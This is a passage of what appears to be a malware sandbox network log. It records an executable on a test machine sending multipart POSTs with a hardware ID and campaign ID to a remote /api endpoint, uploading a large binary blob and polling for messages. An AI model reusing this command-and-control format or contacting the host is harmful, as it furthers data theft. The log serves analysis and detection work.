name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:36:07 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hic70pva4g3e87kkhfinl13083; expires=Sun, 23 Feb 2025 05:22:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SbLm3p5KVH0%2BFVHMsEGy61hoTRf5F0VrhKyRLAT6ZN0ZS55OhgrBOknQ8gYioSiQxLGigDms268%2BH%2B4W68MnLYVDZuXHKgWImeVOvT5iwBj7JBiKf8Nog%2FdIJ%2BckX68hAVi0phI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1b16688fe966-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1279&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=2222563&cwnd=251&unsent_bytes=0&cid=a089a084421535c5&ts=360&x=0"
2024-10-30 11:36:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:36:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.97.3	443	3608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-30 11:36:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:36:08 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-30 11:36:09 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=plpkp3huqepat280f5i5jsujks; expires=Sun, 23 Feb 2025 05:22:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QvgeWN%2BF89XqRLaBxt5Ajel0feZ23LEnHtJ6rFbRMHdJMM%2BtgZXSq1ewqGZKiBWcPc9S%2B9GcsS2FVXjXINZYJsFIhPlqB3eZYy8orQvEqKocmJMMJPhOO7y5w4frcgaf0kW0hCM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1b1df8aa6bd4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1142&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21406&delivery_rate=2462585&cwnd=251&unsent_bytes=0&cid=102517260ed220a1&ts=643&x=0"
2024-10-30 11:36:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:36:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.97.3	443	3608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:10 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1253 Host: necklacedmny.store
2024-10-30 11:36:10 UTC	1253	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:36:10 UTC	1024	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=97ode1f2aq36svg0aj0p5cie3l; expires=Sun, 23 Feb 2025 05:22:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Gq%2BBimE%2B5PWn5YS9olZfZDrIR51yz2Ffdp7oJ%2Fyp7eA3B82lBLjTcN1Z6apvrO0YqzflSax1ukQ%2FPJxl8xzAfAURo%2FYobz2GsAXnWzhUU2ZO8ltmccd%2B1BR7a%2FO%2BFsUGSSYYzw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1b27ff102c85-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1437&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2172&delivery_rate=2055358&cwnd=219&unsent_bytes=0&cid=628054eb318f1828&ts=478&x=0"
2024-10-30 11:36:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:36:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.97.3	443	3608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:11 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568259 Host: necklacedmny.store
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: 3e 40 77 47 c2 82 68 3f 67 61 14 e3 eb ec e3 f1 a7 e1 87 8a 7a 5e 76 f9 fe ea 2b 76 9f e9 88 af c0 80 14 73 02 e0 db e0 59 cc c3 6f ec 3c ca 37 1b 71 f8 1b 2c ce b8 fc 7f 46 00 79 48 05 1e f9 6d 08 ee 07 71 86 d4 5c 3f c0 cc e5 03 a7 e1 80 c8 10 1c f7 a8 6c ad 83 df cc 7e cc 86 62 c8 4a 31 2f ca 97 3e bb 96 f2 3b 6f aa 65 04 82 f6 f2 ed 39 6b 7d a0 b5 ed 92 f7 f3 38 af e7 d5 22 9e 1e 38 42 9b 78 73 b4 46 03 97 e3 5e 93 ac 96 7f f9 07 7e 20 4c 12 dd 7a 9f c2 5c 64 cf 7c f9 6b 5b 3b 96 52 1e a7 60 9e f7 0d 77 46 33 bd d1 47 19 74 3e a1 07 be 57 ae 55 12 09 63 9b 39 ef 2e 0d 5a 35 ed e4 f7 a0 29 27 43 4c 52 96 af b6 2f fe 2d 86 23 12 54 6f 22 16 26 24 6e 6b 46 8f 9a ca 65 f5 87 21 f2 26 97 af 83 6d ce 77 4b fb af f2 d5 7d fc 39 20 69 69 84 39 71 da 79 d7 93 Data Ascii: >@wGh?gaz^v+vsYo<7q,FyHmq\?l~bJ1/>;oe9k}8"8BxsF^~ Lz\d\|k[;R`wF3Gt>WUc9.Z5)'CLR/-#To"&$nkFe!&mwK}9 ii9qy
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: ef ee 96 3d b4 2c a5 e4 56 77 55 95 bb 47 3f 2b 1e 97 d1 74 d9 34 fe a8 8d 0d bc 5c d8 1d 9c 84 0f f6 12 2d 77 f8 4a af ff ea 7f fd ad 4d 95 7b 44 4d 4d a1 24 18 2a 0e 31 85 18 b3 b9 78 b0 6d c7 bf 5a 2c b5 2e 02 31 48 ff 1d b9 3e ff 12 24 cd fc 77 88 75 6e b6 86 37 a0 91 90 00 e2 14 f9 ff 1a 34 2d d5 df 27 6a 02 11 70 18 c3 3b b9 67 77 1f 90 de 4f 53 45 e0 f8 fa f5 7d b2 8d 32 c9 50 f5 ea ce ba 7e b9 4a 29 b0 d8 78 03 f2 15 7d 96 7e 5c 4d b4 fd 23 fa 4a f6 7d de 9e bf 80 22 18 57 4f f8 79 fc 4f 5b 41 64 1d 72 a0 c5 5b 7f 10 a4 e0 32 63 7c 7a 14 a2 85 a3 03 e0 63 0b 2a 45 1c f9 75 5d 0d 4f dc 55 03 26 61 37 e1 01 27 88 08 3e 4c 45 bc 26 15 68 79 e4 ee 6d d0 d9 92 3f 45 2a 9e af 5d c3 97 9a a4 f7 a4 22 46 4a c8 5c 26 ac 04 ec 1d 60 11 13 f7 91 bc 39 05 cc Data Ascii: =,VwUG?+t4\-wJM{DMM$1xmZ,.1H>$wun74-'jp;gwOSE}2P~J)x}~\M#J}"WOyO[Adr[2c\|zcEu]OU&a7'>LE&hym?E*]"FJ\&`9
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: 09 26 6a 1f 77 ec bb 6f d1 2f d1 4c 10 88 de fd 9f 0f de cb b2 3f 57 b6 7f ac ac 78 59 93 89 c4 21 c2 2d f4 ed e3 e4 1b b9 69 80 ae 46 a4 d2 d0 64 7e 14 af 12 f0 c0 62 d7 8f 69 58 aa e0 9d 72 4c b0 e0 29 14 8e 38 c0 35 3c 38 88 f3 28 51 79 31 cb 7e 68 f2 91 07 76 9e 7c fb e6 f5 1f ba 6e 96 f3 43 e8 91 ce 8b 73 80 78 05 22 2a 0c e5 a3 80 6b 5b c1 93 27 70 29 a8 d7 ff ef d4 5a 9b 0b d6 ea ed fb f5 06 6d bb 70 fd 7a 2c f2 ce 6c b5 2f af 59 f1 29 b7 6a 2f 8c 17 ef 8a fc 42 71 96 a8 9f a5 57 43 40 22 0e 72 9b dc bb 6e c5 13 20 0f 9c bf cf 91 22 6a 70 43 71 a5 a8 5d 79 bb f4 b0 df 25 04 5e a3 e9 9d 02 64 5d 96 fa 8a 90 45 2d 29 55 14 27 02 de 88 aa 5b 82 cc 86 10 57 40 18 2a 98 1b 96 13 1b a9 d6 7a c6 d0 17 52 ff 27 e2 c5 21 52 0b c0 2c a2 d9 71 7a a8 9d e0 e0 Data Ascii: &jwo/L?WxY!-iFd~biXrL)85<8(Qy1~hv\|nCsx"k['p)Zmpz,l/Y)j/BqWC@"rn "jpCq]y%^d]E-)U'[W@zR'!R,qz
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: ee fc 93 2f ac 49 ba 1c 1c 0b 2c 02 ee 44 7a 89 86 26 37 29 33 19 31 8d ac 92 07 2e f3 e5 97 1e 48 70 0a 41 fd 23 98 88 6f 1e 11 42 19 57 70 00 87 c0 b3 57 02 b3 fa dc 8a 40 20 b4 11 5a c8 f0 87 41 fd d0 c8 c8 40 38 cc 6f 5d a3 97 9f 61 d1 d4 18 48 37 a7 fd 3e 41 36 3d 7a 3c 3c 23 42 bb 82 ab e2 8d 50 58 7d ab 64 4d b6 0a 38 33 29 0f 11 dd f8 96 07 90 78 44 a0 f4 2d 5f 13 7f 0d c3 b6 48 cd b5 4a 9f 9b a4 89 e6 03 92 c2 13 4e c6 fa dc 29 cc 99 c9 8b fb d7 73 87 d4 31 c3 81 8f 06 87 83 8f 2d 28 77 17 31 5a b5 c5 ec b4 a5 9a 17 82 19 d7 8e 93 c5 d6 5f 6b da 0e cb b7 2e 4a da d7 87 69 88 b6 95 73 c2 b8 29 82 02 23 41 18 10 8c 81 31 b6 41 ff 2e 01 fa c8 82 91 18 b0 8d a6 55 9d 2b 76 8a c1 84 23 d2 2d 42 f4 bd ec 9a a9 9f 84 c6 a5 0a 5e e7 bc 8d 47 db 9f 17 60 Data Ascii: /I,Dz&7)31.HpA#oBWpW@ ZA@8o]aH7>A6=z<<#BPX}dM83)xD-_HJN)s1-(w1Z_k.Jis)#A1A.U+v#-B^G`
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: ed bf 6d 8b 5d 01 95 5c 9b f5 a8 97 16 81 92 63 71 97 c1 d5 d1 44 54 2b e9 e2 e9 c9 2c 0d 3c 34 17 33 6e 9d 5b 17 c1 73 09 4b 61 6b 5d a0 9b 43 48 78 46 f2 e3 2b f1 be 48 aa 01 02 6b a4 e2 d7 2d 43 e6 57 97 75 0b c6 90 12 88 50 ed e7 13 20 86 7b ba 20 93 74 1e 46 3e df 85 83 5d 1e d5 03 66 2a 3e b2 bc dd e4 20 e9 1c 60 bf 9f 2d ce 5a 02 a9 6d 94 8a b5 c0 59 70 1a 4c b9 2b 8a 01 cd 2b a6 d4 1d b0 31 a8 95 59 39 f0 40 f9 ee e6 80 2e 86 88 aa 50 93 71 cf eb 45 98 6c ca 18 eb 56 d9 59 20 ff 07 05 cc 49 9b d6 b4 91 82 f6 5d 47 78 d0 e6 a0 84 4a 88 36 61 68 8e 03 86 f1 70 0b 12 58 3e 82 bb 44 c1 ee b2 65 61 7a bb 71 af 38 28 db bc bd 37 00 05 34 d8 4f 34 11 95 85 5a 45 84 e8 39 9d 92 0c a8 ef e0 78 b1 2a 38 cd 70 ff b0 b1 7e d8 71 70 a3 e9 43 ca e1 71 f6 a3 ca Data Ascii: m]\cqDT+,<43n[sKak]CHxF+Hk-CWuP { tF>]f> `-ZmYpL++1Y9@.PqElVY I]GxJ6ahpX>Deazq8(74O4ZE9x8p~qpCq
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: d3 fc 88 3b 7e 4c b6 e8 d0 5b 69 e0 9b 5e 6d 09 5b 92 5a 0f 08 72 bc 10 05 3f 17 47 cb 41 d5 1a bd cd 92 8a db 99 de b4 d8 22 0b 3f 9a 70 81 29 6d d8 a6 08 ee a0 24 38 34 f7 10 90 6e 4e 4d db 3d 7d eb 72 dd 71 45 99 f2 46 5d 0d d0 cd 13 84 df 79 8c 9e 46 d3 df 6e 8c 5a e6 f6 f7 8e f1 7f b7 85 be a8 13 ae 73 86 c8 8c ac 00 fe 7b e6 86 fd 48 d2 22 3f df 47 98 3e 6f 1d be a7 60 88 fb 17 8e 77 5c 17 b0 63 94 11 3f 21 3e d5 2b c8 b6 05 ec ef b2 44 a0 d1 91 bb 87 c4 cf 38 cc 95 66 75 a9 a1 6a 28 2d 50 9f 3c 38 f4 11 97 74 d0 cb 50 bb 47 b1 cf b1 6c 47 e8 19 59 52 df 04 2e bd 4e b7 f3 2b 67 a8 fc 60 24 d2 72 0c 53 f5 80 f4 9c f5 d3 ea 4a 03 69 1a 97 bf 5d 63 78 04 c9 24 51 58 e1 1e 08 ed 26 2a 84 22 a2 c0 89 41 b1 5b 77 2d c6 8f 8a 1c 12 3f ba fa 6c be 21 54 81 Data Ascii: ;~L[i^m[Zr?GA"?p)m$84nNM=}rqEF]yFnZs{H"?G>o`w\c?!>+D8fuj(-P<8tPGlGYR.N+g`$rSJi]cx$QX&*"A[w-?l!T
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: 16 3d c3 60 26 7d a6 0e 4a 41 2a 33 cc 15 97 da 2f e8 e9 ab 28 aa dc 57 7e 86 b4 41 f6 19 0c c7 c8 e8 f6 9f 08 a3 d7 ba 3e 32 db c9 20 0a 80 f2 d2 f1 f2 72 03 af 38 80 0f 5e d0 ae 0f 97 76 f4 e3 4c 65 5c 06 84 7e bf e0 74 37 e3 cf ba ed 75 ed 46 c5 eb 19 2a 5c 99 73 24 fd 2d 7b cb 45 ad ab 34 6e f0 87 60 d1 ad 56 2e df 39 b6 76 cc 1c 92 92 59 a9 b2 69 cf 4e 9f b4 f5 be 0a f4 69 e9 47 33 5a 43 f3 69 ea dc 84 e0 5d e9 53 36 70 1c fc 37 a5 ff 5b cf e0 4d 43 40 28 80 7a f0 92 c6 36 1c e1 60 e7 6f 6b e3 1f e8 d9 41 1b af 0b 82 b6 c6 4e 72 aa 98 07 77 90 8f e5 77 b1 39 bd c6 02 31 4a 99 83 ef e5 80 d6 11 da f5 cf 69 b9 8a 2d b7 03 b4 1f 87 7f be 63 7c 4b 0b 4c 97 44 35 20 2a bd 4f 1c 09 c2 44 59 0b 80 5b 28 34 ef d2 29 67 c2 a4 e8 b0 ab 94 cc ae ba 7c af 6e a9 Data Ascii: =`&}JA3/(W~A>2 r8^vLe\~t7uF\s$-{E4n`V.9vYiNiG3ZCi]S6p7[MC@(z6`okANrww91Ji-c\|KLD5 *ODY[(4)g\|n
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: 5d 53 85 8e 43 c9 b0 ce ad 25 23 e0 0b ab 59 00 3f 6f a9 40 53 d5 45 40 ec b3 be 80 a7 22 4a 5d 2a 10 1a 7b de b1 ea 65 71 87 0d e1 fa 16 e2 9e 83 dc 31 5f 50 af ce e8 5b 88 59 0f 83 69 70 e8 85 c5 70 95 3e f8 b0 6c cb 04 95 8a 9d f5 a7 a1 c2 70 90 24 ea fc 6a a5 ce 91 30 99 ad d1 c0 b2 01 6e 8d ee 48 22 a1 a3 0d 71 a9 b7 d0 8f ef a2 10 48 6a 33 69 bc bd 6e ec d4 14 98 2a b3 a7 18 65 76 cf 42 78 43 62 75 af f4 bb 02 a2 97 a8 b0 96 55 5f 58 54 d8 24 ee 9d 79 1b e6 88 9b d6 15 cc 79 28 76 f1 8a 4b 84 31 af 4a bf 9b a5 97 e9 68 2e c1 9f db 0f 23 3c a6 93 e3 19 dd f5 9b b5 7b 27 78 8e 5d 31 15 46 85 52 d7 67 86 e8 bb 61 a5 59 5e 9d 52 6c 59 fa b4 9b 76 06 c0 51 61 66 6b de f0 75 bd 89 ec 80 f8 4d 2b dd f6 6c 86 14 e7 aa 01 f5 5a 1b a1 ab 87 ed 71 14 ab ab 70 Data Ascii: ]SC%#Y?o@SE@"J]{eq1_P[Yipp>lp$j0nH"qHj3inevBxCbuU_XT$yy(vK1Jh.#<{'x]1FRgaY^RlYvQafkuM+lZqp
2024-10-30 11:36:11 UTC	15331	OUT	Data Raw: 65 2b ff ef 42 c7 eb 5d df 48 d4 fa ab b9 f5 f6 7c 40 47 b4 e0 1b e3 e5 c1 11 39 f0 4e 46 0f 09 9e f6 89 a6 9b 87 fc d8 6e d9 9f 6c 72 75 eb c7 33 61 0d 70 72 dd 4e 9d ff 33 c0 71 b5 12 96 88 2b e4 05 3a 6b b7 bd 6e dd 75 3e 4a fd 81 44 fb d5 de 7a 97 24 07 7e cb 9d d2 c5 3d af 13 87 70 5c 95 80 2a e9 9b 1f 55 12 de 62 88 b6 35 28 ec a0 f2 6e f4 b1 bd 46 b0 23 24 5b 05 0e d7 5f 4f 0b 73 53 69 dc 6d c2 7b 7a f4 5d 27 3e 2f 6a 28 66 fe aa 59 5a 87 f8 2d a2 d0 67 07 6a 57 72 e8 c0 1d b9 0d fb 6b 6b 1f 45 f0 dc 17 74 51 1a c6 f0 90 a0 92 62 82 65 b6 e0 eb a3 5a 9f a2 df 6c b2 8f 14 7b 40 d9 4e 5e ea d2 5e 54 8a 0b 76 6e bc 58 f8 ae 73 73 24 2f 0b c3 71 33 93 9e c6 40 b8 39 d7 66 ec f8 da db 9a e8 23 58 fd 56 6e a7 93 81 e2 5a 6d 1c a9 8a 0f 9f 18 ac a1 d7 26 Data Ascii: e+B]H\|@G9NFnlru3aprN3q+:knu>JDz$~=p\*Ub5(nF#$[_OsSim{z]'>/j(fYZ-gjWrkkEtQbeZl{@N^^TvnXss$/q3@9f#XVnZm&
2024-10-30 11:36:30 UTC	1028	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=820327d6flbh05s60j66im2hni; expires=Sun, 23 Feb 2025 05:22:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nkCwUS0CXJZNwt9A%2FhKYQOJ8aGcVo5vc%2B9tbTajUsM3wg20qIpQXD%2BWQqXaCNFBbdr%2Fuw5qVxgsZPH94wRCJSNP%2F5dLzo%2BBldUDNAA6hhhH2rFEW9n1ttLjWUknYtQAm01bv0Bs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1b322c5946e9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2109&sent=222&recv=616&lost=0&retrans=0&sent_bytes=2845&recv_bytes=570808&delivery_rate=1348858&cwnd=248&unsent_bytes=0&cid=36d89ebe6c5e2d6c&ts=18383&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	188.114.97.3	443	3608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:30 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 11:36:30 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=DC1F5181D4D2DDE64E576911C145B3A8
2024-10-30 11:36:31 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7vuhcalkri2jmkj17sjti380db; expires=Sun, 23 Feb 2025 05:23:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LhRY8HJM8YVmH%2FwALG50MhivZ5U7Nquj%2FXZLxjCSDpN1WvLEA1C%2Bs6zKqHptOhURugxF8YkrVnonzq12ExFRYMRhkfzf2XvHGeHJX96l7YZR6BgXH%2F0clha44jMk%2BHuX%2B%2BZirV8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1ba8fcd16b1c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1828&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=1551151&cwnd=251&unsent_bytes=0&cid=321292fe3a7d8a67&ts=476&x=0"
